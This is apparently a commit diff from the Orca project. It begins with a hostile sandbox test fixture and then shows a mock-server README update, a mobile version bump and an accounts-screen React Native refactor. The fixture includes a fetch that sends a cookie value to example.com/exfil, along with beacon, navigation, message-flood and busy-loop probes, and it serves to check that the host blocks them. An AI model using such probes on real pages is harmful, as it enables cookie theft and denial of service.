fetch('https://example.com/exfil?d=' + encodeURIComponent(cookieValue))
.then(function () {
report('fetch-exfil', false, 'request succeeded')
})
.catch(function () {
report('fetch-exfil', true)
})
// Probe 2: <img> beacon — must be blocked by img-src data: only.
var img = new Image()
var settled = false
img.onload = function () {
if (!settled) {
settled = true
report('img-beacon', false, 'image loaded')
}
}
img.onerror = function () {
if (!settled) {
settled = true
report('img-beacon', true)
}
}
img.src = 'https://example.com/beacon.gif'
setTimeout(function () {
if (!settled) {
settled = true
report('img-beacon', true, 'no load event')
}
}, 3000)
// Navigation probes are opt-in so a failed attempt cannot erase the
// network and bridge evidence before the harness observes it.
document.getElementById('navigate-top').addEventListener('click', function () {
try {
window.top.location.href = 'https://example.com/'
setTimeout(function () {
report('top-navigation', window.top !== window)
}, 0)
} catch (error) {
report('top-navigation', true, error.name)
}
})
document.getElementById('navigate-self').addEventListener('click', function () {
try {
window.location.href = 'https://example.com/self-navigation'
setTimeout(function () {
report('self-navigation', true)
}, 0)
} catch (error) {
report('self-navigation', true, error.name)
}
})
document.getElementById('navigate-anchor-form').addEventListener('click', function () {
var anchor = document.createElement('a')
anchor.href = 'https://example.com/anchor-navigation'
anchor.textContent = 'Navigation probe'
document.body.appendChild(anchor)
anchor.click()
var form = document.createElement('form')
form.action = 'https://example.com/form-navigation'
document.body.appendChild(form)
form.requestSubmit()
setTimeout(function () {
report('anchor-form-navigation', true)
}, 0)
})
document.getElementById('navigate-meta').addEventListener('click', function () {
var refresh = document.createElement('meta')
refresh.httpEquiv = 'refresh'
refresh.content = '0;url=https://example.com/meta-refresh'
document.head.appendChild(refresh)
setTimeout(function () {
report('meta-refresh-navigation', true)
}, 0)
})
// Probe 7: an oversized valid-looking call must receive a real refusal.
window.addEventListener('message', function (event) {
var data = event.data
if (event.source !== window.parent || !data || data.type !== 'orca-panel-action-result') {
return
}
if (data.requestId === 'oversized-probe') {
report(
'oversized-message',
!data.ok && data.errorCode === 'invalid_request',
data.errorCode || 'unexpected success'
)
}
if (data.requestId === 'flood-result') {
report(
'message-flood',
!data.ok && data.errorCode === 'rate_limited',
data.errorCode || 'unexpected success'
)
}
})
document.getElementById('bridge').addEventListener('click', function () {
window.parent.postMessage(
{
type: 'orca-panel-action',
requestId: 'oversized-probe',
action: 'workspace.readContext',
params: { padding: 'x'.repeat(128 * 1024) }
},
'*'
)
setTimeout(function () {
report('oversized-message', false, 'host sent no refusal')
}, 2000)
// Probe 8: invalid, pong, and binary floods must all spend rate budget
// before parsing; the final valid call is the observable oracle.
setTimeout(function () {
for (var i = 0; i < 40; i++) {
var payload =
i % 3 === 0
? { type: 'orca-panel-pong', pingId: i }
: i % 3 === 1
? { type: 'invalid-hostile-message', sequence: i }
: new Uint8Array(2048)
window.parent.postMessage(payload, '*')
}
window.parent.postMessage(
{
type: 'orca-panel-action',
requestId: 'flood-result',
action: 'workspace.readContext',
params: {}
},
'*'
)
setTimeout(function () {
report('message-flood', false, 'host sent no rate-limit refusal')
}, 2000)
}, 150)
})
// Probe 9: opt-in busy loop. The watchdog should demote the panel while
// Chromium keeps the sandboxed frame in its isolated renderer process.
function enterBusyLoop() {
report('busy-loop', true, 'watchdog should suspend this panel')
while (true) {
// Deliberately hostile fixture.
}
}
document.getElementById('busy').addEventListener('click', enterBusyLoop)
window.addEventListener('message', function (event) {
if (
event.source === window.parent &&
event.data &&
event.data.type === 'orca-hostile-busy-probe'
) {
enterBusyLoop()
}
})
</script>
</body>
</html>
+13
View File
@@ -181,6 +181,19 @@ pnpm mock-server # starts mock WebSocket server on port 6768
Connect from the app using endpoint `ws://localhost:6768` and token `mock-device-token`.
### Environment variables
- `MOCK_NATIVE_CHAT=1` — serve the native-chat scenario (one live agent tab, empty transcript, image upload) instead of the default terminal fixtures.
- `MOCK_SERVER_KEY_FILE` — persist the server keypair across restarts so a paired device keeps its public-key pin. A missing or invalid file is re-keyed with a warning, which forces a re-pair.
### Scenario control files
Read on every request, so behaviour can be flipped mid-session without a restart (a restart would re-key E2EE and force a re-pair). Write the mode into the file, or delete it for the default.
- `MOCK_SEND_MODE_FILE` (default `orca-mock-send-mode` in the system temporary directory) — `accept` (default) accepts the send, `error` fails it with `mobile_input_floor_unavailable`, anything else reports the send as rejected.
- `MOCK_TERMINAL_LIST_MODE_FILE` (default `orca-mock-terminal-list-mode` in the system temporary directory) — `omit` returns an empty terminal list, `other` returns a list that omits the chat handle, anything else lists it.
- `MOCK_TERMINAL_STREAM_MODE_FILE` (default `orca-mock-terminal-stream-mode` in the system temporary directory) — `dead` answers a subscribe with `subscribed` then `end` (a gone PTY), which is what exercises the rearm bound and terminal prune; anything else streams normally.
## Connecting to Real Orca
1. Start Orca desktop with WebSocket transport enabled
+3 -3
View File
@@ -2,7 +2,7 @@
"expo": {
"name": "Orca",
"slug": "orca-mobile",
"version": "0.0.32",
"version": "0.0.36",
"orientation": "default",
"icon": "./assets/icon.png",
"userInterfaceStyle": "automatic",
@@ -18,7 +18,7 @@
"bundleIdentifier": "com.stably.orca.mobile",
"buildNumber": "1",
"infoPlist": {
"NSLocalNetworkUsageDescription": "Orca connects to the desktop app on your local network.",
"NSLocalNetworkUsageDescription": "Orca connects to the desktop app on your LAN.",
"NSMicrophoneUsageDescription": "Allow Orca to record voice dictation and transcribe it on your paired desktop.",
"NSPhotoLibraryUsageDescription": "Allow Orca to attach photos from your library to a terminal session on your paired desktop.",
"NSAppTransportSecurity": {
@@ -75,7 +75,7 @@
"allowBackup": false,
"permissions": ["RECORD_AUDIO", "MODIFY_AUDIO_SETTINGS"],
"package": "com.stably.orca.mobile",
"versionCode": 8
"versionCode": 9
},
"plugins": [
"expo-router",
+97 -25
View File
@@ -9,17 +9,18 @@ import {
Alert
} from 'react-native'
import { SafeAreaView, useSafeAreaInsets } from 'react-native-safe-area-context'
import { useLocalSearchParams, useRouter } from 'expo-router'
import { useFocusEffect, useLocalSearchParams, useRouter } from 'expo-router'
import { ChevronLeft, Check, RefreshCw, User } from 'lucide-react-native'
import { loadHosts } from '../../../src/transport/host-store'
import { useHostClient } from '../../../src/transport/client-context'
import type { RpcSuccess } from '../../../src/transport/types'
import { colors, spacing } from '../../../src/theme/mobile-theme'
import { styles } from './accounts-screen-styles'
import { useNow } from '../../../src/hooks/use-now'
import { ClaudeIcon, OpenAIIcon } from '../../../src/components/AgentIcons'
import {
type AccountsSnapshot,
type ProviderKey,
decodeAccountsSnapshot,
getActiveProviderRateLimits,
getInactiveProviderUsage,
getUsageBarState,
@@ -27,6 +28,12 @@ import {
hasActiveProviderUsage,
UsageBar
} from '../../../src/components/AccountUsage'
import {
getActiveCodexAccountIdForRateLimitTarget,
getCodexResetCreditSummary
} from '../../../src/components/codex-reset-credit'
import { CodexResetCreditAction } from '../../../src/components/CodexResetCreditAction'
import { useCodexResetCreditAction } from '../../../src/components/use-codex-reset-credit-action'
export default function AccountsScreen() {
const router = useRouter()
@@ -40,14 +47,41 @@ export default function AccountsScreen() {
const [error, setError] = useState<string | null>(null)
const [refreshing, setRefreshing] = useState(false)
const [busyAccountId, setBusyAccountId] = useState<string | null>(null)
const [clockEnabled, setClockEnabled] = useState(false)
// Why: the reset countdown must stay fresh while the screen sits open —
// snapshot pushes only arrive when the desktop's rate-limit poll completes.
const [now, setNow] = useState(() => Date.now())
useEffect(() => {
const id = setInterval(() => setNow(Date.now()), 60_000)
return () => clearInterval(id)
const acceptSnapshot = useCallback((nextSnapshot: AccountsSnapshot) => {
setSnapshot(nextSnapshot)
setError(null)
}, [])
const rejectInvalidSnapshot = useCallback(() => {
// Why: a stale snapshot can expose a finite reset action for the wrong
// account; fail closed if a host sends a shape this mobile cannot prove.
setSnapshot(null)
setError('Invalid accounts snapshot from host')
}, [])
const {
supported: codexResetSupported,
resetting: resettingCodex,
resetScope,
scopeLabel: resetScopeLabel,
confirmReset: confirmCodexReset
} = useCodexResetCreditAction({
client,
connected: connState === 'connected',
hostId,
snapshot,
accountMutationBusy: busyAccountId !== null,
onSnapshot: acceptSnapshot
})
useFocusEffect(
useCallback(() => {
setClockEnabled(true)
return () => setClockEnabled(false)
}, [])
)
// Why: snapshot pushes only arrive when the desktop's rate-limit poll completes.
const now = useNow(60_000, clockEnabled)
useEffect(() => {
if (!hostId) {
@@ -82,14 +116,17 @@ export default function AccountsScreen() {
if (!payload || typeof payload !== 'object') {
return
}
const evt = payload as { type?: string; snapshot?: AccountsSnapshot }
if ((evt.type === 'ready' || evt.type === 'snapshot') && evt.snapshot) {
setSnapshot(evt.snapshot)
setError(null)
const evt = payload as { type?: string; snapshot?: unknown }
if (evt.type === 'ready' || evt.type === 'snapshot') {
try {
acceptSnapshot(decodeAccountsSnapshot(evt.snapshot))
} catch {
rejectInvalidSnapshot()
}
}
})
return unsubscribe
}, [client, connState])
}, [acceptSnapshot, client, connState, rejectInvalidSnapshot])
const refresh = useCallback(async () => {
if (!client) {
@@ -99,27 +136,43 @@ export default function AccountsScreen() {
try {
const res = await client.sendRequest('accounts.list')
if (res.ok) {
setSnapshot((res as RpcSuccess).result as AccountsSnapshot)
setError(null)
acceptSnapshot(decodeAccountsSnapshot(res.result))
} else {
setError(res.error.message)
}
} catch (e) {
setError(e instanceof Error ? e.message : String(e))
if (e instanceof Error && e.message === 'Invalid accounts snapshot from host') {
rejectInvalidSnapshot()
} else {
setError(e instanceof Error ? e.message : String(e))
}
} finally {
setRefreshing(false)
}
}, [client])
}, [acceptSnapshot, client, rejectInvalidSnapshot])
const selectAccount = useCallback(
async (provider: ProviderKey, accountId: string | null) => {
if (!client) {
return
}
const codexTarget = provider === 'codex' ? snapshot?.rateLimits.codexTarget : null
if (provider === 'codex' && !codexTarget) {
return
}
setBusyAccountId(accountId ?? `${provider}:default`)
const method = provider === 'claude' ? 'accounts.selectClaude' : 'accounts.selectCodex'
const method =
provider === 'claude'
? 'accounts.selectClaude'
: codexTarget?.runtime === 'wsl'
? 'accounts.selectCodexForTarget'
: 'accounts.selectCodex'
try {
const res = await client.sendRequest(method, { accountId })
// Why: old hosts silently strip unknown target fields. Use the distinct
// targeted RPC for WSL so version skew fails before mutating host state.
const params =
codexTarget?.runtime === 'wsl' ? { accountId, target: codexTarget } : { accountId }
const res = await client.sendRequest(method, params)
if (!res.ok) {
Alert.alert('Could not switch account', res.error.message)
} else {
@@ -134,7 +187,7 @@ export default function AccountsScreen() {
setBusyAccountId(null)
}
},
[client, refresh]
[client, refresh, snapshot]
)
const renderProviderSection = (provider: ProviderKey, title: string) => {
@@ -142,9 +195,14 @@ export default function AccountsScreen() {
return null
}
const state = provider === 'claude' ? snapshot.claude : snapshot.codex
const activeAccountId =
provider === 'codex' && snapshot.codex.activeAccountIdsByRuntime
? getActiveCodexAccountIdForRateLimitTarget(snapshot)
: state.activeAccountId
const activeUsage = getActiveProviderRateLimits(snapshot, provider)
const activeSessionBar = getUsageBarState(activeUsage, 'session')
const activeWeeklyBar = getUsageBarState(activeUsage, 'weekly')
const resetCredit = provider === 'codex' ? getCodexResetCreditSummary(activeUsage, now) : null
const Icon = provider === 'claude' ? ClaudeIcon : OpenAIIcon
return (
<View style={styles.section}>
@@ -157,7 +215,7 @@ export default function AccountsScreen() {
<Pressable
style={({ pressed }) => [styles.row, pressed && styles.rowPressed]}
onPress={() => selectAccount(provider, null)}
disabled={busyAccountId !== null || connState !== 'connected'}
disabled={busyAccountId !== null || resettingCodex || connState !== 'connected'}
>
<View style={styles.rowMain}>
<Text style={styles.rowTitle}>System default</Text>
@@ -165,7 +223,7 @@ export default function AccountsScreen() {
{/* Why: when system default is the active selection, activeUsage
holds the system-default login's rate limits — surface them
here so non-managed users still see their usage. */}
{state.activeAccountId === null && hasActiveProviderUsage(activeUsage) ? (
{activeAccountId === null && hasActiveProviderUsage(activeUsage) ? (
<View style={styles.usageRow}>
<UsageBar
label="5h"
@@ -185,7 +243,7 @@ export default function AccountsScreen() {
) : null}
</View>
<View style={styles.rowTrailing}>
{state.activeAccountId === null ? (
{activeAccountId === null ? (
<Check size={16} color={colors.accentBlue} />
) : busyAccountId === `${provider}:default` ? (
<ActivityIndicator size="small" color={colors.textSecondary} />
@@ -194,7 +252,7 @@ export default function AccountsScreen() {
</Pressable>
{state.accounts.map((account) => {
const isActive = state.activeAccountId === account.id
const isActive = activeAccountId === account.id
const inactiveEntry = !isActive
? getInactiveProviderUsage(snapshot, provider, account.id)
: null
@@ -210,7 +268,12 @@ export default function AccountsScreen() {
<Pressable
style={({ pressed }) => [styles.row, pressed && styles.rowPressed]}
onPress={() => selectAccount(provider, account.id)}
disabled={busyAccountId !== null || connState !== 'connected' || isActive}
disabled={
busyAccountId !== null ||
resettingCodex ||
connState !== 'connected' ||
isActive
}
>
<View style={styles.rowMain}>
<Text style={styles.rowTitle} numberOfLines={1}>
@@ -249,6 +312,15 @@ export default function AccountsScreen() {
</View>
)
})}
{resetCredit && codexResetSupported && resetScope && connState === 'connected' ? (
<CodexResetCreditAction
summary={resetCredit}
scopeLabel={resetScopeLabel}
busy={resettingCodex}
disabled={resettingCodex || busyAccountId !== null || connState !== 'connected'}
onPress={confirmCodexReset}
/>
) : null}
</View>
</View>
)

Some files were not shown because too many files have changed in this diff Show More